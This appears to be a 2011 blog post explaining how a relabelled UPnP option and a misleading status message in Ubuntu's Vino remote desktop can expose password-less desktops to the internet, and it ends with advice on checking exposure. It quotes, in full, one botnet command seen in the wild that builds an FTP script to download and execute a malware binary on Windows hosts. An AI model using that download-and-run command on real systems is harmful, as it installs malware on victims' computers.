Saturday 12 November 2011

Accidentally opening the doors on Ubuntu

This post highlights how even a small modification to a graphical user interface can be responsible for causing unintended security problems.

When Ubuntu's remote desktop service (Vino) first introduced support for UPnP, this is what the Security section of new configuration dialog looked like:

The UPnP feature was activated by checking "Talk to the router and try to open the doors there". Although this label was criticised for sounding too informal, it did actually give a reasonable impression of what might happen if you checked the box. Namely, it used UPnP to configure the router such that the remote desktop service could be accessed from the internet.

However, this is what the option now looks like in the current Long Term Support version of Ubuntu (10.04.3 LTS, Lucid Lynx):

(This is a screenshot from a real victim of the problem I am about to describe)

Notice that this unfortunate user has enabled remote control of their desktop, with no password protection. What was possibly going through their mind?  Well, convenience, most likely. Indeed, the lack of password may not necessarily pose any security problems if the Ubuntu desktop is on a trusted network and not connected directly to the internet. This would be typical of many home networks, where internet access is usually provided by a NAT-enabled router.

But also notice that the UPnP option is now labelled "Configure network automatically to accept connections". The user has checked this box - after all, why wouldn't you want a connection to be accepted automatically? Convenience is the goal here, and there is nothing to suggest that this option really means "accept connections from the entire internet".

So, after checking the box, the user's UPnP-enabled router will start to accept connections from the internet on port 5900 and forward them to the Ubuntu desktop.  Even so, the settings dialog reassuringly and erroneously states that "Your desktop is only reachable over the local network." The combination of this bug and the slightly unclear option label has caused the user to accidentally open the doors on their Ubuntu desktop. To anyone.

Anybody in the world can now use this person's computer simply by using a VNC client to connect to the public-facing IP address of the router (no password required, of course).

Internet-facing VNC servers are often subjected to automated attacks from botnets, but vino-server's lack of connection logging might make these hard to trace after the event. Thankfully, most of the automated attacks happening right now are only designed to exploit Windows systems.  You may, for example, notice attacks similar to the following, which launch a command prompt and create a temporary FTP script named "ik", which is then used to download and execute malware:
cmd /c echo open 21 >> ik &echo user xyz letmein >> ik &echo binary >> ik &echo get svcnost.exe >> ik &echo bye >> ik &ftp -n -v -s:ik &del ik &svcnost.exe &exit
echo You got owned

The botnet simply connects to an exposed VNC server and sends these characters to the remote Windows computer.  Quite cheeky, but at least it has the decency to tell the user they got owned!

Are you affected by this? If you have enabled remote desktop or vino-server on any version of Ubuntu or Windows, you should probably double check that you haven't inadvertently exposed the service to the entire internet. If you do wish for the service to be internet visible, ensure that you use a suitably strong password and keep your server software up to date.